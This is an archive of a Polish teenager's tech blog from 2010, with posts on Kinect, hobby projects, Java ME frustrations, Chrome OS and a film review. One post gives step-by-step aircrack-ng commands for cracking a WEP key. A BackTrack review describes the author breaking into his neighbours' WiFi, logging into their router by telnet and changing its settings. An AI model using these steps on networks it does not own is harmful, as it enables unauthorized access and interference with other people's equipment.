czwartek, 25 listopada 2010

Microsoft Kinect został złamany!

Microsoft Kinect pozwala sterować ciałem aplikacje czy gry stworzone na konsole Xbox. Już 3 godziny po premierze udało się go “otworzyć” i napisać opensourceowy sterownik.

Co to zmienia? Otóż Kinect za pomocą światła podczerwonego jest w stanie zmapować całe nasze otoczenie.



Nie potrzebujemy żadnego fizycznego sterownika aby kontrolować gry w trzech wymiarach.
Możliwości wykorzystania jest wiele. Obejrzyjcie to video.
Oczywiście powstał już addon dla Openframeworks i Processing :)

sobota, 7 sierpnia 2010

Nowe cllpsd już jest!

Po ponad miesięcy katorgi przy programowaniu nowej strony jaką jest nowe cllpsd, mój projekt dobiegł końca a wy możecie się cieszyć z nowego portalu społecznościowego.

Dla niewtajemniczonych, czym jest www.cllpsd.pl?
www.cllpsd.pl to Pierwszy w Polsce portal społecznościowy przeznaczony dla programistów, twórców gier, webmasterów, grafików. Pod względem użytych technik silnik strony nie odbiega jakością od facebooka, myspace czy popularnej w Polsce naszej klasy.

No dobrze ale z czym to się je?
No wiec po rejestracji użytkownik ma dostęp do wszystkich opcji portalu takich jak:

  • Tablica
  • Listy znajomych
  • Poczty
  • For dyskusyjnych
  • Tworzenia własnych podstron z użyciem html'u oraz cllScript
  • Grupy
  • Artykuły
To tak w telegraficznym skrócie.

Nowe cllpsd jest dla programistów c++ jak i autorów małych stron oraz zwykłych graczy.

środa, 21 lipca 2010

Era?

Człowieczeństwo żyje w tzw. naszej erze (n.e.). Ludzie dzielą się na tysiące mniejszych grup, które być może mają swoje pewne epizody w życiu. Programiści PHP pewnie żyją już w erze PHP5, niektórzy pewnie jeszcze w PHP4. Webmasterzy wkraczają w HTML5, Polacy są w erze nowego prezydenta. A jak to jest z erą wszystkich Internautów?
Prymitywnie chciałbym podzielić ery Internautów na popularność przenośnych pamięci masowych. Mówię „Internautów”, a nie „Użytkowników komputerów”, chodź w dzisiejszych czasach jest to raczej to samo.
Pamiętam erę dyskietek, chodź żyłem w niej najkrócej lub nie żyłem w niej wcale, lecz przez pewien czas czerpałem z niej pewne korzyści, gdy za dobrą płytę CD musiałem zapłacić dwa złote, a nie sześćdziesiąt groszy. Wtedy w mojej głowie był szał na „minigierki” ważące mniej, że te półtora megabajta, które mieściła dyskietka. Sam nie miałem Internetu, wujek też nie, ale znosił gierki ze szkoły. W grach chodziło głównie o to, aby ośmieszyć Bin Ladena. Ktoś to jeszcze pamięta?
Następną moją erą była era płyt CD. Pamiętam płytki rw na które się nagrywało głupoty, kasowało i tak wkółko.
Era DVD w sumie nie trwała tak długo, zanim weszła era następna, lecz akurat ten okres panowania płyt DVD cechuje fakt, że trwa do dziś. Ja rozpocząłem w swoim domu tę erę, kiedy tylko dostałem nagrywarkę płyt DVD. I podobnie jak z płytami CD – nagrywałem na te płyty wszystko – nie ważne co. Jeśli była czysta płyta DVD (lub też CD, lecz to rzadziej), to musiała być ona nagrana. DVD były nośnikami filmów, które następnie oglądaliśmy w domowym zaciszu. Tych płyt szło tak bardzo dużo, że bywały momenty, kiedy płyta naprawdę była potrzebna, lecz jej nie było i było wkurwienie.
Dziś leżą sobie czyste, na półce. CD i DVD. Tych pierwszych jest jakby więcej, niż tych drugich. Wniosek nasuwa się prosty – aplikacje są po prostu za duże, aby przenosić je na płytach CD (a i jedna DVD nie zawsze wystarczy).
Następna era była (i chyba nadal jest spotykana), to okres HD-DVD, Blu-ray oraz pendrive’ów. To także czas kart pamięci, oraz przenośnych dysków twardych. Przyznaję, że z pierwszego i drugiego nigdy nie korzystałem. Z dysków twardych okazyjnie. Pendrive jest mojemu sercu o niebo bliższy, niż karta pamięci, z której nie korzysta(łe)m praktycznie wcale. Pendrive miały to do siebie, że były uniwersalne. Można było na nich przenosić wszystko – wszędzie tam, gdzie był port USB. Gdy wszedł na rynek Windows Vista, okazało się, że pendrive może służyć jako dodatkowa pamięć operacyjna (czy tam pamięć cache) – dzięki dostępnej osłudze Ready Boost w tym systemie.
W ostatnią erę wszedłem stosunkowo niedawno. Ten okres nazywa się „Era szybkiego Internetu” i wymiana plików przebiega już wewnątrz sieci. Wygodniejszy sposób, gdyż możesz się dzielić z kilkoma (tysiącami!) osób jednocześnie. Muzyki słuchasz „w chmurze”. Jedynym minusem tej ery, jaki JA widzę, to mała ilość domów z dostępem do szybkiego Internetu. Ceny jednak spadają i możliwe, że niedługo będzie z Polski druga Japonia. Sam mam 6 mbps i widzę wyraźną różnicę, gdy Internet przyśpieszył mi o 100%

niedziela, 6 czerwca 2010

- nowy projekt?



Czym jest?

jest polskim mmorpg'em tworzonym przez polskich pasjonatów w tej dziedzinie. Gra tworzona jest z chęci wypuszczenia na rynek czegoś co spełni oczekiwania graczy a przynajmniej nas samych. Cały silnik gry jest pisany od podstaw, a co najważniejsze klient gry umieszczony jest w przeglądarce internetowej. Gracz jest zwykłym obywatelem, na początku wybiera jedną z pięciu gildii: Najemników walczącego ciężkim orężem, Łowców walczących lekką bronią białą oraz bronią dystansową, Czerodziejów wspomagającego się magią, Nekromantów, sługów zła którzy oddali swą dusze w zamian za pomoc piekieł, wreszcie druidów, sługów lasu, oddających pokłon zwierzynie, magów. Cały system gry opiera się o umiejętnościach, statystykach oraz rozbudowanych zadaniach które będą wprowadzać gracza w klimatyczny oraz zaskakujący świat.
 Gra a raczej jej silnik tworzona jest od jakiegoś miesiąca, całość pisana jest obiektowo w technologi ajax, czyli język po stronie serwera + język po stronie klienta i baza danych w naszym wypadku jest to php+js+mysql. Dodatkowo wspieram się też ce plus plusem przy tworzeniu aplikacji pomocnych w projektowaniu gry. Tak więc jak już zauważyliście aby rozpocząć przygodę w świecie potrzebna będzie tylko przeglądarka internetowa, nic więcej, żadnych aplikacji wtyczek i tym podobnych śmieci. Ja w całym projekcie zajmuję się programowaniem oraz jestem jego głównym koordynatorem (ojcem :)). Prócz mnie w teamie mamy jeszcze Axera- skryptera czarów, przedmiotów itp, Arka - Świetnego pisarza, Rastiego - Desingera pełną gębą, Amakuro - Grafika oraz Wheezego zajmującego się rysowaniem ikonek.
Ukończenie wstępnej wersji projektu datowane jest na koniec zbliżających się wielkimi krokami wakacji. Czemuż taka data? No wiec jak już przed chwilą wspominałem zbliżają się wakacje, część osób wyjdzie i prace mogą iść w wolniejszym tępię.
Na koniec szybkie odpowiedzi
Czy w grze będzie dźwięk i muzyka?
Tak będzie
Czy zamierzacie wprowadzić konto premium
Tak jednak po cenie jednego smsa per miesiąc
Czy mogę do was dołączyć?
Oczywiście, przyjmiemy każdego kto chcę i potrafi pomóc, swoje cv możecie zgłaszać na meil admin@.pl, lub do boro casso na forum.
Czy będą niebawem jakieś testy gry?
Tak testy będą, kiedy? Data nie jest znana.

piątek, 23 kwietnia 2010

4GG, alternatywny klient gg od BC

Jak wszyscy doskonale wiemy na Polskim rynku komunikatorów internetowych monopol posiada producent aplikacji Gadu Gadu. Firma ostatnio dość kontrowersyjna z racji wprowadzania wielu durnych bzdetów do swojego komutatora który żre pięco krotnie więcej pamięci operacyjnej niż cały system operacyjny obsługujący Apollo 11 którym to amerykanie podbili księżyc.

Jakie mamy wyjście? No wiec wyjścia są dwa, po pierwsze i najłatwiejsze możemy pogodzić się z wkurwiającymi funkcjami lub druga opcja co bardziej polecam zainstalować alternatywny klient gg.
Tutaj już monopolu takiego nie ma, a i autorzy alternatywnych klientów gadu gadu są bardzo czuli na uwagi konsumentów. Ja jednak w dzisiejszym poście chciałbym sie skupić na aplikacji 4GG mojego autorstwa.
Która powstawała przez ostatnie kilka dni. Chodź komunikator pozornie może wydawać się biedny to własnie taka jest jego główna idea. 4GG ma być lekki, zawierający tylko niezbędne funkcje, mieszczący się w tylko jednym pliku przez co idealnie nadaje się jako program portable.

Aplikacja została napisana w języku c# przy wykozystaniu .net frameworka 3.5. Dodatkowo staram się być wyczulony co do optymalizacji programu.
Aktualnie aplikacja zajmuje tylko 15MB ramu. Przy okazji dodam iż oficjalny klient gg żre aż 130MB pamięci, a alternatywne AQQ 59MB.
Co prawda aplikacja jest jak na razie w wersji rozwojowej i nie jest zbyt stabilna (chociaż u mnie nie pada, tak sama z siebie) wydaje binarkę do waszych testów.

niedziela, 18 kwietnia 2010

Zabezpieczenia pogrzebu na wawelu?

Pogrzeb prezydenta Lecha Kaczyńskiego wraz z małżonką w Krakowie na Wawelu jest uroczystością na skalę światową. Liczba ważnych osobistości takich jak Królowie i Prezydenci innych miast jest dość pokaźna, dlatego specjaliści BOR'u mieli nie lada zadanie aby uprzykrzyć życie potęcjalnym terrorystom.

Co takiego przygotowali?
  • Wszystkie telefony komórkowe na Wawelu nie będą działać, wszystko za pomocą specjalistycznego sprzętu zagłuszającego.
  • Zaplombowane zostaną wszystkie studzienki kanalizacyjne
  • Rozmieszczenie strzelców wyborowych\
  • Przygotowanie zapasów krwi zgodnych z grupami krwi wszystkich dygnitarzy
  • Dodatkowo tak zwane Vipy przybywają odrazu na uroczystość, i odlatują stopniowo po niej

    poniedziałek, 12 kwietnia 2010

    Chrome OS - System Google - Prezentacja

    Nikogo już chyba nie dziwi fakt iż google zabrało się za stworzenie systemu operacyjnego. Chrome os bo tak nazywa się nowy system ze stajni google, podchodzi w zupełnie inny sposób do idei graficznej powłoki systemu.
    Cały system to jedna wielka przeglądarka, a programy przedstawiane są jako aplikacje webowe (gmail, google doc, facebook).
    System napisany jest na podstawie jądra linuxa a wszystkie dane trzymane są zazwyczaj w chmurze.

    Na łamach blogu bc dev postarałem się nagrać kródki film prezentujący wersje testową systemu chrome os.







    Sam już system możemy pobrać wersji źródłowej ze strony producenta chromium.org lub w wersji dla wirtualnego komputera z gdgt.com.

    poniedziałek, 5 kwietnia 2010

    Co jeżeli zapomnieliśmy hasła do naszej sieci wifi?

    Ustalmy sobie przykładowy scenariusz, mamy siec wifi zabezpieczoną kluczem WEP, jednak niestety nie potrafimy sobie przypomnieć do niej hasła, a nasz router ma przepalone wejścia lan. Co można zrobić w takiej sytuacji? No jak to co, obejść zabezpieczenie.

    Czego potrzebujemy
    • Kubek
    • Karton, np kładka od zeszytu
    • System backtrack
    • Karta wifi, z możliwością nasłuchu.
    Dystrybucje backtrack pobieramy z jej oficjalnej strony Tutaj

    Wypalamy obraz iso na płytę, i bootujemy. System nie wymaga instalacji wiec już po paru chwilach możemy przystąpić do pracy.

    Na sam początek odpalamy konsolę
    1. Wpisujemy: airmon-ng i enter. Pojawi się nasza karta wifi. 
    2. Zmieniamy tryb naszej karty wpisując: iwconfig (nazwa karty) mode monitor
    3. Wpisujemy airodump-ng (nazwa karty) – pokazuje nam dostępne sieci i klientów tych sieci. Żeby zatrzymać wyszukiwanie okienek klikamy crtl+C 
    4. Wpisujemy airodump-ng -w passcode -bssid(bssid sieci) -c (kanał) (nazwa karty)  Teraz siec będzie łamana, trzeba zebrac około 20 – 30 tys DATA. Można to przyspieszyć, jeśli
      to danej sieci jest już podłączony jakiś klient.
    5. Otwieramy nowe okienko Shel (nie zamykamy poprzedniego okienka) l i wpisujemy
      aireplay-ng  --arpreplay -b (bssid sieci) -h (station klienta) (nazwa karty) 
    6. Żeby poznać hasło wpisujemy w nowym okienku (nie zamykamy poprzednich okienek)
      dir, a potem  aircrack-ng -a 1 -b (bssid sieci) passcode-01.cap
    7. Hasło pojawi się z dwukropkami, my wpisujemy jest bez dwukropków.
    Poradnik powstał tylko i wyłącznie w celach edukacyjnych. Nie ponoszę odpowiedzialności za
    jakiekolwiek szkody wynikłe z jego użytkowania.

    Microsoft i kompatybilność

    Mam serecznie dość wciskania ludziom kitu ala Windows Vista i całej tej polityce Microsoftu ukierunkowanej na zmuszanie ludzi do kupowania nowych wersji Windowsa, byle można było uruchomic nowego Offica i Visual Studio (bo na poprzednim systemie zabrakło 2 funkcji WinAPI, których programiści Microsoftu nie potrafili wykryć używając GetProcAddress jak robi to reszta świata), albo jakąś aplikację na .NET, która działa w tempie naćpanego żółwia pod górkę (mimo JIT-owanego kodu i innych cudów nie z tego świata) i wysypującą się po 5 minutach z niewiadomych przyczyn.
    Mowię tutaj o Microsoft bo to najbardziej zakłamana firma jaką znam, sami dostarczają materiały jak programować, jak być kompatybilnym, na blogach guru Microsoftowi opowiadają brednie o bugach w specyficznych wersja systemu Windows i jak ich unikać i dlaczego programiści byli głupi, że je popełnili, ale gdy przychodzi do ich własnego oprogramowania to okazuje się, że jest ono jedynie kompatybilne z bieżącą najnowszą wersją systemu operacyjnego i wersją poprzednią z ostatnim service packiem, a wszystkim innym mowią:
    “sorry, ale musisz zaopatrzyć się w nowy system (bo nie chciało nam się zobaczyć dlaczego nie działa na Windows 2000)”
    normalnie szlag mnie trafia… sam piszę oprogramowanie i chyba muszę być jednym z X-MENów skoro potrafię je zrobić kompatybilne (w niemałych mękach, ale jednak) nawet z systemem tak zapomnianym jak Windows 98, ja – 1 osoba, to dlaczego armia programistów Microsoftu nie potrafi dokonać tego samego “cudu”… tak wiem, pieniądze i ciągłe wciskanie ludziom rzeczy, których tak naprawdę nie potrzebują.
    Ale czy można się przed tym bronić?

    środa, 24 marca 2010

    Wracamy! - Recenzja dystrybucji backtrack

    Linux jak to się przyjęło najlepszy i najgorszy system operacyjny w jednym, jednak dzisiejszy post nie będzie poświęcony rozważaniom na temat wyboru systemu operacyjnego tudzież dystrybucji linuxa tylko recenzją oraz przeglądem najważniejszych funkcji dystrybucji linuxa pod nazwą back|track.
    Zacznijmy może od historii backtrack powstał przez połączenie się sił autorów takich dystrybucji jak Whax i Auditor. Pierwsza wersja b|t została wydana 26 maja w 2006 roku. Już w tedy wywołała wielki szum w społeczności hakierskiej oraz speców od zabezpieczeń. Początkowo system bazował na slaxie jednak jego najnowsza wersja oznaczona numerkiem 4 bazuje już na ubuntu.
    Swoją popularność b|t zyskał głównie dzięki osobą zajmujących się wardrivingiem oraz warchalkingiem.
    Dobrze to tyle nudziarstwa, zajmijmy się teraz czymś bardziej interesującym. No wiec sam system możemy pobrać z oficjalnej strony producenta http://www.backtrack-linux.org/downloads/ Prócz wersji, czeka nas również wybór albo pliku iso albo obrazu pod VMWare. Ja osobiście polecam opcje numer jeden, jednak co kto woli.

    No dobrze ja sam gdy już posiadałem b|t postanowiłem zainstalować, lub na początku odpalić na swoim lapku eee pc 900. Z racji iż posiada on wifi, jest mały i przenośny jest znakomitym narzędziem do wardrivingu. No wiec wracając do tematu pobrałem, system, początkowa myśl zgrać na pena, jednak niestety mam tylko 2 sztuki po jeden giga, ehh aa to pech. No więc pozostaje mi tylko jedno!, mianowicie wypalić obraz na płyte, podłączyć przenośny dvd-rom do lapka (netbook nie posiada takowego wbudowanego) i jazda. Tak więc zrobiłem. System się pięknie odpalił standardowo na pulpicie widniała ikonka install.sh. Jednak ja postanowiłem iż najpierw włamię się do najbliższego wifi w mojej okolicy. Z racji iż obok mnie mieszkają jacyś studenci i posiadają router wifi wybór padł na nich. Jedynym znanym mi dobrze pakietem do tego typu akcji jest aircrack-ng, a ponieważ b|t go posiada w standardzie zabrałem się do roboty.
    Na marginesie dodam iż system od pierwszego uruchomienia mnie urzekł, i nie chodzi mi tutaj o jego wygląd, jednak bardzo szeroką gamę sterowników i pakietów iż nie musiałem nawet nic instalować, nie niestety nie ponarzekam sobie.
    No więc przełączyłem swoją kartę sieciową w tryb nasłuchu
    iwconfig wlan mode monitor
    i zabrałem się do roboty. Pakiety pobierało mi zaskakująco szybko i już po kilku chwilach miałem ich ponad 20 tysięcy. na koniec tylko
    aircrack-ng -a 1 -b passcode-01.cap
    i na ekranie miałem już podane hasło do sieci. Roześmiałem się odrazu gdy zauważyłem iż hasło do rutera jest takie samo jak do sieci, zalogowałem się przez telneta i zablokowałem cwaniakom dostęp do popularnych serwisów pornograficznych, i jako alias wstawiając obraz z podobizną maryii (matki żyda zombiaka).

    Uhh trochę zboczyłem z tematu no dobrze wracając do recenzji system standardowo posiada pakiety takie jak:
    • Metasploit
    • RFMON – sterowniki do obsługi sieci bezprzewodowych
    • Kismet
    • AutoScan-Network
    • Nmap
    • Ettercapp
    • Wireshark
    • Serwer http
    • Bazę danych mysql
    • Wine
    • Serwer dhcp
    • oraz wiele wiele więcej
    Ponad to jak przekonują autorzy, jest bardzo bezpieczny, chodź ja bym to nazwał bardzo wkurwiający :-) argumenty zatrzymam dla siebie ponieważ wyjdzie mi tutaj raz tyle tekstu, a ty czytelniku przestaniesz mnie odwiedzać.

    Bawiąc się backtrackem dodam jeszcze iż jeżeli mamy dostęp już do jakiejkolwiek sieci (lan, wifi) to sniffowanie jej członków w backtracku to kwestia kilku komend i parametrów, oczywiście wiadomo nie ma takiej samej metody dla wszystkich przypadków, jednak obiecuje iż niebawem przygotuje wam filmik nt. "włamywania się do sieci wifi". Jednak wszyscy wiemy iż dobieranie się do kont allego, ofiar i zamawianie im do domu paczki wibratorów, chodź kuszące jest niestety niezgodne z prawem. Więc przestrzegam was ;-).

    Co więcej, backtrack jest również świetną alternatywą dla innych systemów. Posiada wszystko co potrzeba takiemu użytkownikowi jak np. Ja.

    Nieprzedłużający już i podsumowując backtrack jest świetną dystrybucją dla osób lubujących się w hobby na lato jakim jest wardriving, dodatkowo nie dużo zajmuje, jest lekka, posiada standardowo wiele sterowników więc nie musimy się już bawić, niewiadomo ile godzin z odnalezieniem ich w sieci i instalacją. Ja sam od siebie dodam iż polecam backtracka każdemu, małemu i dużemu :-)

    poniedziałek, 15 marca 2010

    Naucz się języka google

    Google kontynuując swój misterny plan nad opanowaniem świata niczym skynet z terminatora postanowiło stworzyć swój własny język programowania oparty o składnie języka c uważanego przez znaczną większość programistów za najlepszy język programowania jaki kiedykolwiek powstał.

    Na dzień dzisiejszy zainteresowanie językiem Go, bo taka jest jego nazwa jest wysokie chodź nie powstało w nim jeszcze zbyt wiele ciekawych aplikacji.

    Przykładowy program witaj świecie w Go wygląda następująco
    package main import "fmt" func main() { fmt.Printf("Witaj świecie\n") }
    Jeżeli przekonuje was to o czym przed chwilą napisałem, jesteście fanami nowych technologi lub po prostu programistami zachęcam was do odwiedzenia strony GO.

    | Oficjalna strona | Poradnik instalacji | Faq |

    ps. Nie daje się im!

    niedziela, 14 marca 2010

    Urocze kości - Recenzja filmu "Nostalgia Anioła"


    Niedziela, nie ma co robić. Czas wyciągnąć swoją wybrankę do kina.
    Post ten będzie jako taką moją subiektywną recenzją filmu Nostalgia Anioła który wszedł dopiero co do Polskich kin.

    Jako iż w moim mieście są tylko dwa kina, z czego jedno z nich ma kiepskie nagłośnienie, mój wybór padł oczywiście na to lepszy tj. Kino Helios. Bilety kupione, jeszcze tylko popcorn i możemy wchodzić. Do ciemnej oświetlonej tylko ekranem sali wchodzę sam, na szczęście film się jeszcze nie zaczął, a publiczność ogląda jeszcze reklamy proszków i past do zębów. Siadam na swoim miejscu i czekam na dziewczynę która odbywa właśnie swój jakże tajny i magiczny rytuał przed filmowy w łazience.
    Patrzę to na schody, to na wejście do sali, wyczekując jej, ehh... jeszcze chwila i film się zacznie. No nic w końcu jest, podchodzi z dziwną miną "-ohh, pomyliłeś miejsca!", "-Pomyliłem miejsca?" No cóż zdarza się.
    Już na właściwym miejscu, zajadając popcorn czekam na film który zaraz się zacznie...

    No więc wracając do sedna sprawy, film opowiada historię czternastoletniej dziewczynki brutalnie zabitej i zgwałconej. Główna akcja filmu dzieje się tuż po tych wydarzeniach. Bohaterka o imieniu Susie jest narratorką całego filmu i przemawia do widzów z miejsca pomiędzy niebem i ziemią. Chociaż film sam w sobie nie jest na kierunkowany na efekty specjalne to muszę przyznać iż graficy odpowiedzialni za stworzenie nieba, odwalili kawał dobrej roboty, jednak niestety ścieżka audio ssie i to ostro, wiele kawałków nie oddaje klimatu aktualnej sceny.
    Na koniec podsumowując Peter Jackson, odwalił kawał dobrej roboty. Film jest godny polecenia każdemu komu odpowiada kino dramatyczne i oczekuje po obejrzeniu filmu czegoś więcej niż tylko rozrywki.

    o Javie słów kilka

    W tym poście chciałbym poruszyć tematykę jakże popularnej w dzisiejszych czasach technologi(?) java.
    Java jak wiadomo jest orientowanym obiektowo językiem programowania. Główną zaletą javy jest jej przenośność, gwarantuje to specjalna wirtualna maszyna za pomocą której uruchamiane są aplikacje.
    Jest wiele przeciwników jak i zwolenników tego systemu, ale nie będę się tutaj na ten temat rozpisywał. Java to temat rzeka więc można się o niej rozpisywać godzinami, ja jednak chciałbym się dziś skupić na tym jak bardzo java wkurwia programistę,swoją bezsensownością.

    No więc na początek historia
    Niedawno wpadłem na pomysł aby napisać remake gry simant na telefony komórkowe. Jako iż posiadam telefon z dotykowym wyświetlaczem postanowiłem iż gra będzie go wykorzystywać.

    No dobrze, pobrałem jakąś tam książkę na temat javy, przeczytałem to co mnie interesuje i stwierdziłem iż nie będę miał problemu z napisaniem takiej aplikacji tym bardziej że język jest promowany jako bardzo przyjemny dla programisty.
    Następnym krokiem był wybór ide, borykałem się między Java(TM) ME Platform SDK 3.0 a NetBeans IDE 6.8. Postanowiłem że skorzystam z Java(TM) ME Platform SDK 3.0.
    Pobrałem i podczas instalacji dowiedziałem się iż potrzebuje jeszcze jdk, no dobrze, nie zdziwiłem się zbytnio w sumie visual studio też potrzebuje dodatkowych bibliotek.
    Pobrałem zainstalowałem, i następnie udało mi się zainstalować samo ide.
    Uruchamiam aplikacje, a raczej ide i moim oczą ukazuje się ładnie skrojone gui. Wow, ciekawe czy wygodne -pomyślałem.

    Zabrałem się więc za napisanie programu typu hello world
    File > New Project > MIDP App. Po przejściu jeszcze kilku kart kreatora, moim oczom ukazał się przykładowy kod aplikacji.
    Postanowiłem więc skompilować kod i sprawdzić jak wygląda emulator telefonu.
    No więc wybrałem opcje Clean & Build i następnie Run.
    Kompilator stał, i stał i stał, a ja czekałem i czekałem, patrzyłem się jak jakaś babcia idzie zaa moim oknem z prędkością szybszą niż moje ide.
    Kurwa?-Wydarłem się. Co jest, przecież tak nie możne być. Ctrl+Alt+Delete, nie no aplikacja nie padła.
    Sprawdzam plik projektu brak jakichkolwiek skompilowanych plików, nie niech to szlak, pierdolona java.

    Poogooglowałem i postanowiłem doinstalować sdk jakiegoś renomowanego producenta telefonów, mój wybór padł na samsunga z racji iż takowej marki telefon posiadam.
    Instalacja oczywiście nie przebiegła pomyślnie wyjebało mi jakimiś błędami z brakiem dostępu, i prośbą o przeinstalowanie jdk. No dobrze tylko jak to zrobić :)?
    Przeleciałem katalog program files, o w dodaj usuń programy jest.
    No i podczas uinstalacji błąd pierdolnął ze pewne aplikacje nie mogą działać bez jdk.
    Dobra odinstaluje najpierw Java ME Platform SDK 3.0, uff poszło bez problemów, później jdk i jestem znów na początku. Dobra instaluje wszystko od początku, i następnie sdk samsune. Jupi udało się.
    Uruchamiam po raz kolejny Java ME Platform SDK 3.0 i tworze nowy projekt z kodem przykładowym kompiluje, gotowe, uruchamiam, i chuj. Nie działa, aplikacja niby działa i działa ale rezultatów żadnych. No dobrze przejże katalog projektu, o jest, są pliki jad i jar. No dobra uruchamiam je. Ooo... Działa, jak miło. Java kocham cie :).
    Jednak moje zadowolenie nie trwało zbyt długo, java jest strasznie, strasznie nie wygodna.
    Podam przykład. Mam sobie jakiś tam canvas który mi rysuje i w swoim konstruktorze ładuje zasoby. Wiem że dany np obrazek zawsze będzie dołączony do aplikacji, zawsze będzie załadowany, starczy na niego pamięci. No dobrze ja to wiem ale java mi mówi "-chuj ci w dupe, co z tego że wiesz, jak ja nie wiem"
    No i zamiast jednej linijki z kodem
    image_tapeta = Image.createImage("/bg.png");
    Mamy
    try {
    image_tapeta = Image.createImage("/bg.png");
    }
    catch (IOException ex){
    ex.printStackTrace();
    }
    I po co to? Po co mi elementy kodu z których nigdy nie skorzystam, po co zamulać program sprawdzaniem czy coś zostało załadowane, no nic ehhh... jak trzeba to trzeba.

    Następną rzeczą która mnie zirytowała ale to już wszystko przez programistów samsunga.
    Mam telefon samsung avila, z dotykowym ekranem. Ale za chuja emulator samsungów nie posiada touch screen. I jak tu testować aplikacje? Musisz skompilować, podłączyć kabelek, a do niego telefon, zgrać pliki jar, zainstalować je na telefonie i uchuchomić. A gdzie debuger się zapytam droga javo? A w dupie za przeproszeniem proszę pana. I tym oto "optymistycznym" akcentem zakończę tę notę.

    BC Dev - Uroczyste otwarcie

    Witam was, wszem i wobec. Niniejszym ogłaszam iż postanowiłem wrócić znów jako blogger do szeregów polskiego internetu.
    Zapewne większość osób które już mnie zna miewa iż blog będzie poświęcony głównie programowaniu, informatyce oraz w jednej dziesiątej procenta mojemu życiu które chciałbym aby pozostało jak najbardziej prywatne i moje. Tak wiec muszę cię zmartwić mój drogi/(droga ?) nie będę wstawiał tutaj zdjęć swojej pół nagiej dziewczyny, którą zresztą bardzo kocham i pozdrawiam z tego miejsca.

    No więc może wypadało by się w pierwszym poście przedstawić dla jakże "szerokiego" grona moich nowych "czytelników".
    No więc nazywam się Patryk, aktualnie uczeń technikum informatycznego w pięknym i jakże ciekawym mieście Płock. Interesuje się informatyką z ukierunkowaniem na programowanie.
    Aktualnie jestem "ogarniety" w: c++, php, c#, pascal, vb. Oraz ostatnio zaczynam dogłębnie poznawać jave, która jak przyznam jest straszna katorgą dla programisty.
    Jako zainteresowanie drugorzędne mogę wymienić psychologię, marzy mi się też odwiedzić indiańskie ludy ameryki łacińskiej, oraz zamieszkać w małym domku w środku dżungli na równiku. Czemu na równiku zapytasz?
    Bo jak wiadomo tam jest najlepszy zasięg i telewizja satelitarna całkiem za darmo.

    Co więcej chciałbym ci przekazać drogi czytelniku?
    Acha, zapraszam Cię serdecznie do mojego portfolio które jest dostępne na moim blogu.

    btw. Wiem że na górze są takie fajne przyciski do kolorowania i formatowania tekstu, ale nie, nie będę z nich korzystał i nie zjebie ci doszczętnie twojego i tak słabego wzroku.